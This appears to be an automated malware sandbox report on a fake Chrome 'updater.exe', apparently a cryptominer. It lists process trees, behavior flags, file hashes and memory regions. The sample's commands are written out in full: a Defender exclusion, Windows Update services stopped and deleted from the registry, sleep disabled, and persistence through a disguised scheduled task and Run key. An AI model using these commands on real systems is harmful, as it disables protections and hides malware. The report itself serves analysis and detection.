C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#mibqiuc#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵
-
C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 02⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-ac 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -hibernate-timeout-dc 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-ac 03⤵
-
C:\Windows\System32\powercfg.exepowercfg /x -standby-timeout-dc 03⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thaqo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe piwxkhozdwrizr2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe ajhvfdbttvpjvzel 6E3sjfZq2rJQaxvLPmXgsA4f0StS9pic9Xw++oZ1mnbMNdSoXP4ts/KtNDhUPQkUDVw9rZbme/VWRaCGMVy5A4KWmOYusR4Ik0iMHdgwpNOcjbYY5GHdN0CGOwXnubuj1k8SXyOPHLg/wcO08HTPQBCprXvYsSFocqjzqXvCOk3makNm0IivIoZ1KZt2YxT6Ci+BE7B/M5vRdKOrAlIyiTLPowHv2xwlgKELrnhNzBo4cDejdbTidr1qPNdTi4IwjcYnuD1ZGEEk854175l0vqhgS0J4NKy9OfqC4ZDiL7DMzbXsHZBHh2Jw55sStIs/MAZNnhxYjBZpkoZpwPghg6VnLEX8RYirlFk+ArUNG/2+FGzSRQ3kSkHyDV437Fza2⤵
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
2.1MB
MD5a12bc9557ad889a49e7b4f970c78dda8
SHA15383b8e6d09d41384281b95f9ccc8e050e7c04fa
SHA2569940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
SHA512be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
-
C:\Program Files\Google\Chrome\updater.exeFilesize
2.1MB
MD5a12bc9557ad889a49e7b4f970c78dda8
SHA15383b8e6d09d41384281b95f9ccc8e050e7c04fa
SHA2569940b1f8deb931e431dded69a71e6c9ac4c9e7d4fa560932f92cf0ae94cc65e0
SHA512be8ca69b115aea7382ad4a780a0452a0df986bb036aec0aea3cac9f4b0d598c4256f0732720a5ee83fc05cd7dac7adf545792f91f2b60a05027a1811f12000ee
-
C:\Program Files\Google\Libs\g.logFilesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD50ad3b132dcf2c2524fd766fba7f0e8d6
SHA1092f934636f2474ce2ab380b464c1f7d1bc140e4
SHA2567bed9ce9a785e557b8053dea7d43bd68b9de5b087593734968abf86b2cc49ee9
SHA512c5f1251c626de8014e5214f524d29fdcba391d5fdee0b3da1a386bd58e16fdc37174c28af9d45ed1b58c41bfb8a2ba4337bc57720cfca6d0eee5e0f0ddf255dd
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fmyrv02j.f2r.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Windows\System32\drivers\etc\hostsFilesize
3KB
MD500930b40cba79465b7a38ed0449d1449
SHA14b25a89ee28b20ba162f23772ddaf017669092a5
SHA256eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01
SHA512cbe4760ec041e7da7ab86474d5c82969cfccb8ccc5dbdac9436862d5b1b86210ab90754d3c8da5724176570d8842e57a716a281acba8719e90098a6f61a17c62
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
-
memory/100-161-0x000001CD27520000-0x000001CD27530000-memory.dmpFilesize
64KB
-
memory/100-162-0x000001CD27520000-0x000001CD27530000-memory.dmpFilesize
64KB
-
memory/100-163-0x000001CD27520000-0x000001CD27530000-memory.dmpFilesize
64KB
-
memory/940-146-0x0000020D1A160000-0x0000020D1A170000-memory.dmpFilesize
64KB
-
memory/940-144-0x0000020D1A160000-0x0000020D1A170000-memory.dmpFilesize
64KB
-
memory/940-145-0x0000020D1A160000-0x0000020D1A170000-memory.dmpFilesize
64KB
-
memory/940-135-0x0000020D7FF90000-0x0000020D7FFB2000-memory.dmpFilesize
136KB
-
memory/2188-203-0x000001B9F6830000-0x000001B9F684C000-memory.dmpFilesize
112KB
-
memory/2188-191-0x000001B9F3460000-0x000001B9F3470000-memory.dmpFilesize
64KB
-
memory/2188-193-0x000001B9F3460000-0x000001B9F3470000-memory.dmpFilesize
64KB
-
memory/2188-192-0x000001B9F3460000-0x000001B9F3470000-memory.dmpFilesize
64KB
-
memory/2188-204-0x000001B9F6910000-0x000001B9F691A000-memory.dmpFilesize
40KB
-
memory/2188-205-0x00007FF47B900000-0x00007FF47B910000-memory.dmpFilesize
64KB
-
memory/2188-206-0x000001B9F6A80000-0x000001B9F6A9C000-memory.dmpFilesize
112KB
-
memory/2188-207-0x000001B9F6A60000-0x000001B9F6A6A000-memory.dmpFilesize
40KB
-
memory/2188-208-0x000001B9F6AC0000-0x000001B9F6ADA000-memory.dmpFilesize
104KB
-
memory/2188-209-0x000001B9F6A70000-0x000001B9F6A78000-memory.dmpFilesize
32KB
-
memory/2188-210-0x000001B9F6AA0000-0x000001B9F6AA6000-memory.dmpFilesize
24KB
-
memory/2188-211-0x000001B9F6AB0000-0x000001B9F6ABA000-memory.dmpFilesize
40KB
-
memory/2536-181-0x00007FF641C70000-0x00007FF641E86000-memory.dmpFilesize
2.1MB
-
memory/2536-227-0x00007FF641C70000-0x00007FF641E86000-memory.dmpFilesize
2.1MB
-
memory/2536-250-0x00007FF641C70000-0x00007FF641E86000-memory.dmpFilesize
2.1MB
-
memory/3620-254-0x00007FF738E50000-0x00007FF738E66000-memory.dmpFilesize
88KB
-
memory/3620-262-0x00007FF738E50000-0x00007FF738E66000-memory.dmpFilesize
88KB
-
memory/3852-240-0x00007FF4B8A30000-0x00007FF4B8A40000-memory.dmpFilesize
64KB
-
memory/3852-228-0x0000019A76450000-0x0000019A76460000-memory.dmpFilesize
64KB
-
memory/3852-230-0x0000019A76450000-0x0000019A76460000-memory.dmpFilesize
64KB
-
memory/3852-241-0x0000019A76450000-0x0000019A76460000-memory.dmpFilesize
64KB
-
memory/3852-243-0x0000019A76459000-0x0000019A7645F000-memory.dmpFilesize
24KB
-
memory/3852-229-0x0000019A76450000-0x0000019A76460000-memory.dmpFilesize
64KB
-
memory/4820-176-0x000001C942400000-0x000001C942410000-memory.dmpFilesize
64KB
-
memory/4820-177-0x000001C942400000-0x000001C942410000-memory.dmpFilesize
64KB
-
memory/4852-166-0x00007FF6F1180000-0x00007FF6F1396000-memory.dmpFilesize
2.1MB
-
memory/4852-133-0x00007FF6F1180000-0x00007FF6F1396000-memory.dmpFilesize
2.1MB
-
memory/5112-257-0x00000205767C0000-0x00000205767E0000-memory.dmpFilesize
128KB
-
memory/5112-279-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-255-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-256-0x00000205767E0000-0x0000020576800000-memory.dmpFilesize
128KB
-
memory/5112-252-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-259-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-260-0x00000205767E0000-0x0000020576800000-memory.dmpFilesize
128KB
-
memory/5112-261-0x00000205767C0000-0x00000205767E0000-memory.dmpFilesize
128KB
-
memory/5112-251-0x0000020576080000-0x00000205760A0000-memory.dmpFilesize
128KB
-
memory/5112-263-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-265-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-267-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-269-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-271-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-273-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-275-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-277-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-253-0x0000020576780000-0x00000205767C0000-memory.dmpFilesize
256KB
-
memory/5112-281-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-283-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-285-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-287-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-289-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-291-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-293-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-295-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-297-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-299-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-301-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-303-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-305-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-307-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-309-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-311-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-313-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB
-
memory/5112-315-0x00007FF65FB70000-0x00007FF660364000-memory.dmpFilesize
8.0MB